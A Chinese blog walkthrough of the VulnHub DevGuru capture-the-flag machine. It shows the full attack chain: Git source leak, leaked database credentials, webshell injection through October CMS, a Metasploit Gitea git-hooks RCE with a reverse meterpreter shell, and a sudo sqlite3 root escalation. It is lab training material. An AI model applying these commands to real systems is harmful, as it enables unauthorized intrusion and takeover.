希望和各位大佬一起学习，如果文章内容有错请多多指正，谢谢！
个人博客链接：CH4SER的个人BLOG – Welcome To Ch4ser's Blog
DevGuru 靶机下载地址：DevGuru: 1 ~ VulnHub
目录
0x01 信息收集
0x02 Web漏洞利用 - Webshell写入&CVE-2020-14144
0x03 权限提升 - SUDO&CVE-2021-3156
0x01 信息收集
Nmap扫描目标主机，发现开放22、80、8585端口，分别运行OpenSSH 7.6p1、Apache httpd 2.4.29服务。
访问80端口页面如下。Wappalyzer显示操作系统为Ubuntu，CMS为October CMS，数据库管理器为Adminer 4.7.7，编程语言为PHP、GO。
DirSearch扫描80端口网站目录，发现存在Git源码泄露、管理员后台登录地址、数据库管理器地址。
python dirsearch.py -u "http://192.168.196.139/" -z yes
数据库管理器：http://192.168.196.139/adminer.php
管理员后台登录：http://192.168.196.139/backend/backend/auth
访问8585端口，发现是一个Gitea网站（一款使用Golang编写的可自运营的代码管理工具）。
0x02 Web漏洞利用 - Webshell写入&CVE-2020-14144
由于80端口网站存在Git源码泄露，通过GitHack下载其Git源码，如下：
python GitHack.py -u "http://192.168.196.139/.git/"
翻阅源码，发现 /config/database.php存在MySQL数据库账号密码泄露，用户为october。
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',
使用october的账号密码登录Adminer（数据库: octoberdb），在backend_users表观察到用户frank的password hash，尝试使用john解密失败，但得知其加密方式为bcrypt。
使用在线网站生成bcrypt密码hash值，如下：
bcrypt hash在线生成：Bcrypt-Generator.com - Generate, Check, Hash, Decode Bcrypt Strings
新建用户ch4ser，将生成的hash填入password，并设置is_superuser=1，如下：
PS：另一种方法
新增用户ch4ser，password选择encrypt，is_superuser选择1。在backend_users_groups表将用户ch4ser添加到管理员组。这种方法不具有普遍性，这里能用是因为password可以选择encrypt。
在管理员后台成功登录用户ch4ser。选择左上角CMS模块，观察到访问/blog路由会触发onStart()方法。
于是新建一个模板shell，尝试触发onStart()方法写入webshell。访问/shell报错，通过报错信息得知webshell写入成功。
蚁剑连接webshell成功，翻阅目录找到了备份文件/var/backups/app.ini.bak，其中存在另一个用户gitea的MySQL账号密码泄露。
DB_TYPE = mysql
HOST = 127.0.0.1:3306
NAME = gitea
USER = gitea
PASSWD = UfFPTF8C8jjxVF2m
使用gitea的账号密码登录Adminer（数据库: gitea），在user表观察到Gitea管理员frank的密码加密算法为pbkdf2，还有rand和salt看似是加密的。
尝试使用john、hashcat破解Gitea管理员frank的密码，未成功。
在GitHub找到Gitea源码，在该存储库下搜索关键字"pbkdf2"，其使用pbkdf2算法进行加密，生成长度为50的hash值，迭代次数为10000，Salt就是之前的Bop8nwtUiM。
Gitea源码地址：https://github.com/search?q=repo%3Ago-gitea%2Fgitea+pbkdf2&type=code
使用在线网站生成pbkdf2密码，填写已知信息Salt、明文、迭代次数、生成的hash长度。
Salt=Bop8nwtUiM
Plain-text=123456
Iterations=10000
Key size (bytes)=50
替换Gitea管理员frank的密码hash值，成功登录8585端口的Gitea。
MSF搜索Gitea相关漏洞发现CVE-2020-14144，该漏洞需要认证才可使用，我们现在已满足条件，设置好options然后run，成功拿下frank的普通用户权限。
msf6 > use exploit/multi/http/gitea_git_hooks_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_hooks_rce) > set username frank
username => frank
msf6 exploit(multi/http/gitea_git_hooks_rce) > set password 123456
password => 123456
msf6 exploit(multi/http/gitea_git_hooks_rce) > set rhosts 192.168.196.139
rhosts => 192.168.196.139
msf6 exploit(multi/http/gitea_git_hooks_rce) > set rport 8585
rport => 8585
msf6 exploit(multi/http/gitea_git_hooks_rce) > set lhost 192.168.196.128
lhost => 192.168.196.128
msf6 exploit(multi/http/gitea_git_hooks_rce) > run
或者直接复现该漏洞也行，进入项目 >> Settings >> Git Hooks >> Update 写上bash反弹命令保存，Kali这边nc监听，更新项目任意文件即可收到会话。
0x03 权限提升 - SUDO&CVE-2021-3156
上传综合辅助探测脚本LinEnum.sh至目标主机/tmp目录下，给予执行权限执行。
辅助项目下载地址：GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks
检测到sudo版本为1.8.21p2，且检测到NOPASSWD的SUDO命令：/usr/bin/sqlite3
查询GTFOBins得知sqlite3的SUDO提权方式如下，启用一个新的root权限的bash。
GTFOBins地址：
但实测以上命令不行，原因是sudo版本不符合利用条件，使用以下命令成功拿到root权限和flag：
sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
另外也可以通过sudo本身漏洞提权，只要版本符合CVE-2021-3156利用条件或者执行命令 sudoedit -s / 报错，漏洞即存在。
